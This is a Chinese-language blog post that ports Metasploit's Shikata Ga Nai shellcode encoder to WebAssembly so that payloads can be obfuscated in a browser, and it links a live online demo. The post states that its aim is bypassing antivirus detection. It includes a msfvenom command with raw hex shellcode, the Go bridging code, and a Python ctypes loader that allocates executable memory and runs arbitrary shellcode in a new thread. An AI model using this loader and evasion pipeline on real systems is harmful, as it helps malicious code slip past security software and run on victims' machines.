Shikata ga nai是什么

Metasploit-Framework是一个漏洞利用框架,里面有大量的漏洞库,针对shellcode一些混淆编码器可以让用户bypass一些安全软件,其中一个比较核心的编码器是Shikata Ga Nai (SGN)。

shellcode 主要是机器码,也可以看作一段汇编指令。Metasploit 在默认配置下就会对payload进行编码。虽然 Metasploit 有各种编码器,但最受欢迎的是 SGN。日语中的短语 SGN 的意思是“无能为力”,之所以这样说,是因为它在创建时传统的反病毒产品难以检测。

检测 SGN 编码的payload很困难,尤其是在严重依赖静态检测的情况下。任何基于规则的静态检测机制基本上都无法检测到用 SGN 编码的payload。而不断扫描内存的计算成本很高,因此不太可行。这使得大多数杀软依赖于行为指标和沙箱进行检测。

为什么说带到前端

首先介绍下 EgeBalci/sgn,这个项目将msf的Shikata Ga Nai编码器移植到了Golang,使得用户可以不通过msf即可享受到SGN的能力。

既然这个项目是非平台依赖的工具,那我们可以考虑将它移植到前端,这样用户只需要打开浏览器就能用了。

移植思路

首先我们可以考虑:sgn是一个golang项目,所以我们可以编译到wasm,然后暴露api给javascript来调用,这样就可以实现前端使用sgn了。

但是遇到了一些问题。

该项目并不是一个Pure Go项目,它依赖cgo,没办法编译到wasm。

但是我记得 github.com/therecipe/qt 可以编译到wasm,通过一些研究,发现它是采用了go-js-qt的桥接,qt是可以编译到wasm的,go也可以编译到wasm,然后两者之间再桥接起来。那我们可以尝试先将 github.com/keystone-engine/keystone 编译到wasm,然后将sgn项目里面调用cgo的地方全部使用 syscall/js 桥接到keystone上去,此时sgn变成了一个Pure Go项目,可以将其编译到wasm了,然后再暴露出一个接口就可以供js使用了

实现手段

cgo到桥接

sgn里面需要使用cgo是因为依赖 github.com/EgeBalci/keystone-go,看了一下这个项目,其实是keystone的包装,keystone是一个c++写的项目,所以我们可以考虑使用 emscripten 来将keystone编译到wasm,不过该项工作已经有人做了,我们在这边就不自己再花时间搭环境编译了,可以看看 alexaltea.github.io/keystone.js/

然后我们看看sgn里面依赖cgo的地方,主要是在 pkg/sgn.go

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
package sgn

import (
	...
	"github.com/EgeBalci/keystone-go"
)

...
// Assemble assembes the given instructions
// and return a byte array with a boolean value indicating wether the operation is successful or not
func (encoder Encoder) Assemble(asm string) ([]byte, bool) {
	var mode keystone.Mode
	switch encoder.architecture {
	case 32:
		mode = keystone.MODE_32
	case 64:
		mode = keystone.MODE_64
	default:
		return nil, false
	}

	ks, err := keystone.New(keystone.ARCH_X86, mode)
	if err != nil {
		return nil, false
	}
	defer ks.Close()

	err = ks.Option(keystone.OPT_SYNTAX, keystone.OPT_SYNTAX_INTEL)
	if err != nil {
		return nil, false
	}
	//log.Println(asm)
	bin, _, ok := ks.Assemble(asm, 0)
	return bin, ok
}

// GetAssemblySize assembes the given  instructions and returns the total instruction size
// if assembly fails return value is -1
func (encoder Encoder) GetAssemblySize(asm string) int {
	var mode keystone.Mode
	switch encoder.architecture {
	case 32:
		mode = keystone.MODE_32
	case 64:
		mode = keystone.MODE_64
	default:
		return -1
	}

	ks, err := keystone.New(keystone.ARCH_X86, mode)
	if err != nil {
		return -1
	}
	defer ks.Close()

	err = ks.Option(keystone.OPT_SYNTAX, keystone.OPT_SYNTAX_INTEL)
	if err != nil {
		return -1
	}
	//log.Println(asm)
	bin, _, ok := ks.Assemble(asm, 0)

	if !ok {
		return -1
	}
	return len(bin)
}
...

其实工作量并不大,只是需要把所有对 keystone-go 的调用换到keystone.js上即可。

可以一步步按照 https://pkg.go.dev/syscall/js 上面的api文档对照着改,这里我就不详细阐述语法了,之间将改动后的贴上来

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
package sgn

import (
	...
	"syscall/js"
)

func GetKeystone() js.Value {
	return js.Global().Get("ks")
}

// Assemble assembes the given instructions
// and return a byte array with a boolean value indicating wether the operation is successful or not
func (encoder Encoder) Assemble(asm string) ([]byte, bool) {
	var mode js.Value
	switch encoder.architecture {
	case 32:
		mode = GetKeystone().Get("MODE_32")
	case 64:
		mode = GetKeystone().Get("MODE_64")
	default:
		return nil, false
	}

	keystoneFunc := GetKeystone().Get("Keystone")

	ks := keystoneFunc.New(GetKeystone().Get("ARCH_X86"), mode)
	if !ks.Truthy() {
		return nil, false
	}
	defer ks.Call("close")

	ks.Call("option", GetKeystone().Get("OPT_SYNTAX"), GetKeystone().Get("OPT_SYNTAX_INTEL"))
	v := ks.Call("asm", asm)
	if !v.Truthy() {
		return nil, false
	}
	ok := !v.Get("failed").Bool()
	if !v.Get("mc").Truthy() {
		return nil, false
	}
	var bin = make([]byte, v.Get("mc").Length())
	for i:=0; i<v.Get("mc").Length(); i++ {
		bin[i] = byte(v.Get("mc").Index(i).Int())
	}
	return bin, ok
}

// GetAssemblySize assembes the given  instructions and returns the total instruction size
// if assembly fails return value is -1
func (encoder Encoder) GetAssemblySize(asm string) int {
	var mode js.Value
	switch encoder.architecture {
	case 32:
		mode = GetKeystone().Get("MODE_32")
	case 64:
		mode = GetKeystone().Get("MODE_64")
	default:
		return -1
	}

	keystoneFunc := GetKeystone().Get("Keystone")

	ks := keystoneFunc.New(GetKeystone().Get("ARCH_X86"), mode)
	if !ks.Truthy() {
		return -1
	}
	defer ks.Call("close")

	ks.Call("option", GetKeystone().Get("OPT_SYNTAX"), GetKeystone().Get("OPT_SYNTAX_INTEL"))

	//log.Println(asm)
	v := ks.Call("asm", asm)
	if !v.Truthy() {
		return -1
	}
	ok := v.Get("failed").Bool()
	if !ok {
		return -1
	}
	if !v.Get("mc").Truthy() {
		return -1
	}
	return v.Get("mc").Length()
}

可以看到基本上就是使用 syscall/js 库按照 keystone.js 的文档再把原先的实现一遍。

现在可以编译到wasm了 GOARCH=wasm GOOS=js go build -trimpath -ldflags="-s -w"

然后可以使用 https://github.com/golang/go/blob/master/misc/wasm/go_js_wasm_exec 运行测试下,我这里就不做了。

api暴露

我们js调用wasm库,肯定需要一个api入口,我们可以将sgn的main入口改造一下

go编译到wasm后需要一个特殊的js文件加载下,具体需要 https://github.com/golang/go/blob/master/misc/wasm/wasm_exec.js

相关样例可以查看golang官方示例 https://github.com/golang/go/blob/master/misc/wasm/wasm_exec.html

然后我们可以将main函数改写一下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
func sgnExec(arch, encCount, obsLevel int, encDecoder, asciPayload, saveRegisters bool, badChars, input string) map[string]interface{} {
	var res = map[string]interface{}{
		"err": nil,
		"result": nil,
	}
	source, err := hex.DecodeString(strings.ReplaceAll(input, `\x`, ""))
	if err != nil {
		res["err"] = err
		return res
	}
	payload := []byte{}
	encoder := sgn.NewEncoder()
	encoder.ObfuscationLimit = obsLevel
	encoder.PlainDecoder = encDecoder
	encoder.EncodingCount = encCount
	encoder.SaveRegisters = saveRegisters
	eror(encoder.SetArchitecture(arch))

	if badChars != "" || asciPayload {
		badBytes, err := hex.DecodeString(strings.ReplaceAll(badChars, `\x`, ""))
		eror(err)

		for {
			p, err := encode(encoder, source)
			eror(err)

			if (asciPayload && isASCIIPrintable(string(p))) || (len(badBytes) > 0 && !containsBytes(p, badBytes)) {
				payload = p
				break
			}
			encoder.Seed = (encoder.Seed + 1) % 255
		}
	} else {
		payload, err = encode(encoder, source)
		eror(err)
	}
	res["result"] = hex.EncodeToString(payload)
	return res
}

sgnExec 实现了原先main的功能,只是把命令行参数改为了函数参数传入,然后我们把这个函数暴露给js,需要为 sgnExec 函数套一个壳,从 args[0] 获取入参,计算结果用 js.ValueOf 包装,并返回。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
func sgnFunc(this js.Value, args []js.Value) interface{} {
	arch := args[0].Int()
	encCount := args[1].Int()
	obsLevel := args[2].Int()
	encDecoder := args[3].Bool()
	asciPayload := args[4].Bool()
	saveRegisters := args[5].Bool()
	badChars := args[6].String()
	input := args[7].String()
	return js.ValueOf(sgnExec(arch, encCount, obsLevel, encDecoder, asciPayload, saveRegisters, badChars, input))
}

该函数将js传入的参数进行转换然后调用sgnExec并将结果返回

然后我们使用 js.Global().Set() 方法,将函数 sgnFunc 注册到全局,以便在浏览器中能够调用。

1
2
3
4
5
func main() {
	done := make(chan int, 0)
	js.Global().Set("sgnFunc", js.FuncOf(sgnFunc))
	<-done
}

现在可以导入这个wasm,然后通过js来调用函数 sgnFunc 了。可以按照前面给出的golang官方示例写一个简陋的前端。下面会给出一个live demo

测试

首先我们先生成一个shellcode,这里我直接使用msf

1
2
3
4
5
6
7
$ ./msfvenom -p windows/x64/exec CMD=calc.exe -f hex
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 276 bytes
Final size of hex file: 552 bytes
fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000000000488d8d0101000041ba318b6f87ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd563616c632e65786500

然后我们快速写个py脚本执行测试下shellcode

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import ctypes
import sys

shellcode = bytes.fromhex(sys.argv[1].strip())

shellcode = bytearray(shellcode)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))

# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode防止位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

然后运行下原始的shellcode

可以看到弹出了计算器

然后我们放在页面上编码混淆一下

然后运行一下

可以看到,shellcode功能正常。

Live Demo

如果大家想在线体验一下,可以到 http://hacktech.cn/sgn-html/ 体验一下。

Reference